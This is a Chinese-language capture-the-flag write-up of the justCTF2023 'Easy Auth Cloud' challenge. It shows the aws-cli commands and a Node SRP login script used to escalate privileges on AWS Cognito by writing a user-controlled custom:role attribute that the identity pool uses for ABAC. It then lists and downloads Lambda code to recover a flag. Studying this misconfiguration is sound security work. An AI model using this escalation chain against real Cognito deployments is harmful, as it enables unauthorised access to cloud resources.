justCTF2023 Easy Auth Cloud题目,有关AWS Cognito认证服务可能存在的安全隐患
这道题目和文章 Hacking AWS Cognito Misconfigurations
思路大致相同,利用Cognito
服务的默认配置和一些错误用法进行权限提升,但是多出几个细节,这里简单归结几点如下:
Cognito Identity Pool
会基于ABAC(attribute based access control)的方式提供给用户更高权限的AWS Credentials
,之后利用AWS Credentials
获取托管在云上的lambda
代码并解密出flag值Cognito
是AWS提供的一项全托管的认证、授权和用户管理服务,通过Cognito
,开发人员可以不用自行编写认证、授权和用户管理的代码,而是通过Cognito
的API来完成这些操作。Cognito
提供两种核心服务,分别为UserPool
和Identity Pool
通过这两种服务,开发人员可以方便地创建、管理和验证用户帐户,并管理应用程序的访问权限和安全性。
开局给了个登陆页面,经过简单阅读前端JS代码后发现有对Cognito SDK
的使用,调出前端控制台debug偏移就能够拿到Cognito
信息
Client ID | User Pool ID | Identity Pool ID | region |
---|---|---|---|
g1l1udtdgp1cu30fogbucvh4d | eu-west-1_sEBJdM3TJ | eu-west-1:a4b696bc-7cc2-4818-a045-2ff49b601cbc | eu-west-1 |
后续的所有步骤都需要借助aws-cli
,首先根据clientID
向Cognito
服务注册账号
aws cognito-idp sign-up --client-id "g1l1udtdgp1cu30fogbucvh4d" --region "eu-west-1" --username "hpdoger1" --password "*()Hpdoger123"
紧接着使用注册的账号登陆User Pool
,作者只配置了USER_SRP_AUTH
这种认证方式,我选择用SDK
进行登陆模拟,运行如下登录脚本会打印用户登陆后的各种Token
信息
import axios from 'axios'
import { SRPClient, calculateSignature, getNowString } from 'amazon-user-pool-srp-client'
function call (action, body) {
const request = {
url: 'https://cognito-idp.eu-west-1.amazonaws.com',
method: 'POST',
headers: {
'Content-Type': 'application/x-amz-json-1.1',
'X-Amz-Target': action
},
data: JSON.stringify(body),
transformResponse: (data) => data
}
return axios(request)
.then((result) => JSON.parse(result.data))
.catch((error) => {
const _err = JSON.parse(error.response.data)
const err = new Error()
err.code = _err.__type
err.message = _err.message
return Promise.reject(err)
})
}
function login (email, password) {
const userPoolId = process.env.CognitoUserPoolUsers.split('_')[1]
const srp = new SRPClient(userPoolId)
const SRP_A = srp.calculateA()
return call('AWSCognitoIdentityProviderService.InitiateAuth', {
ClientId: process.env.CognitoUserPoolClientWeb,
AuthFlow: 'USER_SRP_AUTH',
AuthParameters: {
USERNAME: email,
SRP_A
}
})
.then(({ ChallengeName, ChallengeParameters, Session }) => {
const hkdf = srp.getPasswordAuthenticationKey(ChallengeParameters.USER_ID_FOR_SRP, password, ChallengeParameters.SRP_B, ChallengeParameters.SALT)
const dateNow = getNowString()
const signatureString = calculateSignature(hkdf, userPoolId, ChallengeParameters.USER_ID_FOR_SRP, ChallengeParameters.SECRET_BLOCK, dateNow)
return call('AWSCognitoIdentityProviderService.RespondToAuthChallenge', {
ClientId: process.env.CognitoUserPoolClientWeb,
ChallengeName,
ChallengeResponses: {
PASSWORD_CLAIM_SIGNATURE: signatureString,
PASSWORD_CLAIM_SECRET_BLOCK: ChallengeParameters.SECRET_BLOCK,
TIMESTAMP: dateNow,
USERNAME: ChallengeParameters.USER_ID_FOR_SRP
},
Session
})
.then(({ AuthenticationResult }) => ({ username: ChallengeParameters.USERNAME, credentials: AuthenticationResult }))
})
}
process.env.CognitoUserPoolUsers = "eu-west-1_sEBJdM3TJ"
process.env.CognitoUserPoolClientWeb = "g1l1udtdgp1cu30fogbucvh4d"
login("hpdoger", "*()Hpdoger123").then((resp)=>{console.log(resp)})
这里会同时获得三种状态的Token
,分别为:AccessToken
、IdToken
、RefreshToken
{
username: 'hpdoger',
credentials: {
AccessToken: 'eyJraW...',
ExpiresIn: 3600,
IdToken: 'eyJraWQiO...',
RefreshToken: 'eyJjd...',
TokenType: 'Bearer'
}
}
这三种Token应对场景不同,各司其职:
再引用一段描述区分AccessToken
与AWS Temporary Credentials
的异同
当用户通过Cognito进行认证后,Cognito会向用户发送一个AccessToken和一个IdToken,其中IdToken可以用于向AWS获取AWS临时证书(AWS Temporary Credentials)。
Access Token和AWS Temporary Credentials都是AWS Cognito中扮演身份认证的不同形式,但是它们之间有一些重要的区别:Access Token通常是无状态的,并且它存储的是经过加密的用户信息,允许用户访问受保护的资源,比如API Gateway;比较而言,Temporary Credentials是一种AWS IAM中生成的安全凭证,允许用户访问AWS中的资源,比如S3、EC2、lamada等。
简而言之,如果想要获得AWS云上的资源,就需要一份AWS Temporary Credentials
。Cognito
服务也是做这件事的,它可以让Identity Pool
授权我们的AccessToken
来生成AWS Credentials
(包含AccessKeyId、SecrectKey、SecrectSession)
aws cognito-identity get-credentials-for-identity --identity-id YOUR_IDENTITY_ID --logins '{"YOUR_PROVIDER_NAME":"YOUR_PROVIDER_TOKEN"}'
其中YOUR_IDENTITY_ID
为前端JS泄漏的identity-id
;YOUR_PROVIDER_NAME
可以根据region
与user-pool-id
拼接而来,且YOUR_PROVIDER_NAME
的格式固定:cognito-idp.<region>.amazonaws.com/<user-pool-id>
;YOUR_PROVIDER_TOKEN
为UserPool
登陆后返回的IdToken
,那么对于这道题目来说运行的示例如下
aws cognito-identity get-credentials-for-identity \
--identity-id "eu-west-1:d19dc8bc-277b-4674-a022-cb844f96d1f3" \
--logins "cognito-idp.eu-west-1.amazonaws.com/eu-west-1_sEBJdM3TJ=eyJraW..."
得到的返回信息即为AWS Credentials
,使用export
将AWS Credentials
引入环境变量后即可使用aws-cli
访问AWS云上资源
export AWS_ACCESS_KEY_ID=ASIA6NYM5FVFAT442IEG
export AWS_SECRET_ACCESS_KEY=vCZKCemBP/NO65IQC0I9GO/V5c3gLkUiWpy2b1XO
export AWS_SESSION_TOKEN=IQoJb3JpZ....
但很可惜的是当前AWS Credentials
对于存储桶的权限非常低,只能读到fake_flag文件,于是我决定对当前的Credentials
枚举更多可用的权限。利用枚举探测的脚本:https://github.com/securisec/cliam ,发现当前Credentials
能做的事情比较少,只能list部分s3 bucket
云上的部分暂且到这儿,再将思路拉回到Web题目本身,Index首页可以看到这样一句话
这或许暗示需要通过登陆获得进一步的提示信息,而整个Web Application
并没有开放注册或登录的接口。但在第二步中,AWS用户凭证生成的三个Token中还包含了AccessToken
,也是在搜索了相关用法后,发现有这样一篇文章:cognito-pentest。大概讲的就是,在基于AWS开发的业务中,通常会将AccessToken
作为Web Application
的用户态JWT
使用
只需要Authorization
头携带着AccessToken
就能访问题目的各种路由,因为AWS WebGateway
会根据此状态判别用户是否登录。当访问/home
路由后,题目给出了新的提示:only role xxx can get access
。/flag
路径下面给了一段AES加密的字符串,意味着题目到这里还没有结束。到这一步作者想考察的点是,我们需要对当前的用户身份设置role
,并且role
为fishy_moderator
的用户将在IdentityPool
认证后拥有不一样的权限。
那么这个role意味着什么呢?先按照题目思路做下去,由于AWS默认推荐并开放了Own User Attribute Read/Write权限,User Pool providers内置了一些属性比如name
、email
、phone_number
等,用户可以通过update-user-attributes
对当前的用户设置属性。
aws cognito-idp update-user-attributes --access-token "eyJraw..." --user-attributes '[{"Name":"custom:role","Value":"fishy_moderator"}]'
更新完属性后,重新登陆刷新Token,也可以借助get-user查看刚刚设置的用户属性:aws cognito-idp get-user --access-token “ey..”
再次重复IdentityPool
授权的步骤,拿到新的AWS Credentials
,此时的Credentials
具有lambda list
的权限。那么回过头来看,前文所提到的role
其实就是AWS的用户属性值role,在IdentityPool
授权的过程中,根据用户属性role进行AWS资源权限分配,虽然合情,但不完全合理。
到这里,也是整个场景产生漏洞的原因:由于我们在AWS注册用户sign-up
时默认会指定一个Default Role,这个Role就作为用户属性(Attribute)存在,而IdentityPool
认证后颁布的AWS Credentials
是基于User ABAC(attribute-based access control)的,于是在前文中IdentityPool后拿到的AWS Credentials
就非常有限,相当于Default Role仅能list s3 bucket。但是AWS Cognito默认允许用户修改Own User Attribute,那么攻击者就可以为自己设置新的Role,此时IdentityPool
认证后的AWS Credentials
就具有了新的权限—list lambda functions
这种攻击面也不是第一次出现,在文章:https://www.truesec.com/hub/blog/aws-cognito-token-security-one-step-closer 中,作者利用Owner User Attribute Update操作,更改了自己的用户身份,从而产生一系列越权漏洞。
再回到题目,利用新的AWS Credentials
列出lambda functions
,能够发现计算flag
的lambda
函数
aws lambda list-functions --profile jctf --region eu-west-1
再通过get-function
获得FlagLambda
代码所在位置:
aws lambda get-function --function-name FlagLambda --query 'Code.Location' --profile jctf --region eu-west-1
凭借相同的方式,在多个lambda
代码获得AES加密flag的key
+ nonce
,结合前文/flag路由获取到的flag密文从而解码出flag值,题目到这里也就结束了。
总的来说,漏洞的核心在于作者配置了Cognito Identity Pool认证时采用ABAC的方式,且ABAC的部分值又由用户可控,信任空间没有把握好。